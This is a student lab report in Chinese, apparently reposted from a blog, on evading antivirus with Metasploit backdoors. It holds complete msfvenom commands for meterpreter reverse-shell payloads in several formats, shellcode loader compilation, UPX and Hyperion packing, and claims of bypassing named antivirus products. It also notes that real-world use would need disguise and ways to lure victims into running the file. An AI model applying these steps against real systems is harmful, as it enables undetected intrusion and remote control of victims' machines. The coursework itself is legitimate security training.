2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践

目录

  • 基础问题
  • 相关知识
  • 实验内容
  • 实验步骤
  • 实验过程中遇到的问题
  • 离实战还缺些什么技术或步骤?
  • 实验总结与体会

实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

返回目录


基础问题

  • 杀软是如何检测出恶意代码的?

    • 基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。
    • 启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。
    • 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
  • 免杀是做什么?

    对恶意软件做一些处理,使它不被杀毒软件所检测出来

  • 免杀的基本方法有哪些?
    • 改变特征码

      • 只有EXE:加壳
      • 有shellcode:利用shellcode生成可执行文件
      • 有源代码:用其他语言进行重写再编译
    • 改变行为:改变通讯方式或操作模式
    • 利用现有playload手工打造一个后门程序

返回目录


相关知识

  • VirusTotal、Virscan

  • msfvenom直接生成meterpreter可执行文件,检出率为46/57;Msfvenom是Metasploit平台下用来编码payloads免杀的工具
  • Veil-Evasion
    • 一个免杀平台,是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe
    • virustoal检出为19/57
  • 半手工打造恶意软件:C语言调用Shellcode
  • 加壳
    • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行
    • 加壳的一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码
    • MSF的编码器使用类似方法,对shellcode进行再编码
    • 技术上分壳分为:压缩壳、加密壳、虚拟机

返回目录


实验步骤

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧

(一)正确使用msf编码器

  • 我们可以使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,更多的参数可以参考msfvenom一些用法
  • 将实验二中用msf命令生成的后门程序放到virscan网站中扫描结果如下

    可以知道后门程序如果不加处理,绝大多数杀软很快就可以识别出来。
  • 我们使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.183.130 LPORT=5330 -f exe > met-encoded.exe进行10次编码试试降低检出率
  • 再在virscan网站中扫描
  • 对比发现并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。而AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。

(二)msfvenom生成如jar之类的其他文件

  • 生成jar文件:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor_java.jar
  • 生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor.php
  • 生成apk文件:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 R > 20165330_backdoor.apk

(三)veil-evasion

  • 安装步骤参考安装免杀工具Veil-Evasion,过程很慢(耐心ing)(在最后一步输入命令回车后不要动,最后选择默认选项一直等待安装完成)(因为我的安装完后无法生成输出文件,估计因为镜像版本的原因我用的18.1版本的,就拷贝了同学的虚拟机19.1版本的veil生成成功)
  • 结束后ls找到Veil-Evasion.py,然后./Veil-Evasion.py进入veil

  • veil中输入use找到c/meterpreter/rev_tcp,输入6用c语言重写meterperter(如下图)
  • 设置反弹连接IP:set LHOST 192.168.183.130(此处IP为Kali IP)
  • 设置端口:set LPORT 5330(也可以使用默认端口4444)
  • 输入generate生成文件,然后输入playload的名字:20165330-playload,信息如下
  • 然后我们进到目录/usr/share/veil-output/compiled里可以找到我们生成的文件
  • 将其放在virscan网站中扫描,检出率有所降低

(四)利用shellcode编程

  • 使用msf生成一段c语言格式的shellcode数组:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 -f c
  • 将生成的shellcode写入到下面的C代码中进行调用,命名5330-shellcode.c
  • 交叉编译(过程见问题二)使该文件可以在windows下运行:i686-w64-mingw32-g++ 5330-shellcode.c -o 5330-shellcode.exe
  • 测试shellcode可用性(关闭杀软)
    • 一开始我将生成的exe文件传到windows里用命令行运行,没有发生回连
    • 之后我改用windows下的vc重新编译运行,回连成功
  • 将生成的5330-shellcode.exe上传至virscan网站中扫描仍会被扫描出来,开启杀软会被杀掉

(五)加壳工具

  • 压缩壳:

    • 尝试对上面的shellcode加壳:upx 5330-shellcode.exe -o 5330-shellcode.upxed.exe
    • 测试可用性
    • 上传至virscan网站中扫描,概率大大降低,但依然被360查杀
  • 加密壳:
    • 将生成upx文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入wine hyperion.exe -v 5330-shellcode_upxed.exe 5330-shellcode_upxed_Hyperion.exe进行加壳
    • 测试可用性
    • 上传至virscan网站中扫描
通过组合应用各种技术实现恶意代码免杀
  • 采用C语言调用shellcode+压缩壳方式免杀成功并可以回连

    • 被控主机:win10
    • 扫描软件:360安全卫士11.5.0.2001
    • 将shellcode在vc下编译,在进行加壳
      • 成功回连
      • 免杀成功
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀软名称:腾讯电脑管家13.3.20237.212
电脑版本:win7 x64系统

  • 用舍友电脑互ping时发现ping不通,才知道IP地址需要在同一网段
  • 我将我的kali虚拟机和舍友电脑上的win7虚拟机的网络适配器均改为桥接模式,使IP地址网段相同,ping通。
  • 在用我上面的方法将所生成的程序拷贝到舍友电脑上,开始控制。
    • win7中免杀成功
    • 回连成功

返回目录


实验过程中遇到的问题

  • 在进行upx加壳时报错“upx: 5330-shellcode.exe: NotCompressibleException”

    解决办法:百度后参考解决UPX NotCompressibleException静态编译后成功加壳

  • 在测试shellcode可用性时,在windows下运行5330-shellcode.exe提示该版本的 E:\ncat\5330-shellcode.exe 与你运行的 Windows 版本不兼容

    解决办法:

    • 在仔细检查前面的过程后,发现我一开始直接用了gcc来编译,这样产生的linux的可执行文件,在windows下是不能运行的。。此时需要用交叉编译来实现。
    • 参考linux与windows交叉编译sudo apt-get install mingw-w64下载编译软件,在编译程序i686-w64-mingw32-g++ 5330-shellcode.c -o 5330-shellcode.exe
  • 在veil进行python语言重写时,生成文件失败,但用其他语言可以成功。。

    • 我按照老师的方法,cd setup中找到setup.sh后,运行./setup.sh更新,结果报错安装依赖关系失败。。看好多同学也是无法输出,暂时还不知怎么解决。。

返回目录


离实战还缺些什么技术或步骤?

  • 现在我们所做的步骤都是传送到被控主机上,很明显的被发现,然后开始运行,虽然会躲过一些杀软,但是我们不能十足的保证不会被杀,在实战也还存在如何巧妙地伪装,如何安插在正常软件中躲过扫描,以及如何吸引让被控主机自主运行等技术。

返回目录


实验总结与体会

  • 本次实验的出错率真的有点多,过程做的十分艰难,从一开始的装veil就感觉我的虚拟机就像和我作对。。后来换了虚拟机后,按照老师的步骤,虽然还是在出错,但是解决后成功的那一瞬间真的感觉超级棒,从这次实验我也体会到我们在一步步深入到免杀原理中,亲手打造的程序虽然并不是很强大,但是对刚开始学习的我们真的有十足的兴趣去研究,另一方面还是告诉我们一定要增强防范意识,保护好自己的信息。

原文地址:https://www.cnblogs.com/besty-zyx/p/10621785.html

时间: 2024-10-06 11:57:01

2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践的相关文章

2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码.如

2019-2020-2 20175208 张家华 网络对抗技术 Exp3 免杀原理与实践

实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 实验过程 实验准备即相关知识 VirusTotal.Virscan 集

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155302《网络对抗》Exp3 免杀原理与实践

20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过组合应用各种技术实现恶意代码免杀(1分) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 实验内容 报告评分 1.5分报告整体观感 0.5分

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器 编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码. 基于行为.杀软通过检测程序是否有更改注册表行为.是否有设置自启动.是否有修改权限等等行为进行判断. 免杀是做什么? 恶意代码避免杀毒软件查杀,从而实现入侵. 免杀的基本方法有哪些? 对恶意代码进行加壳 利用shellcode进行编码 实践过程记录 使用msf生成后门程序的检测 将实验二中

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka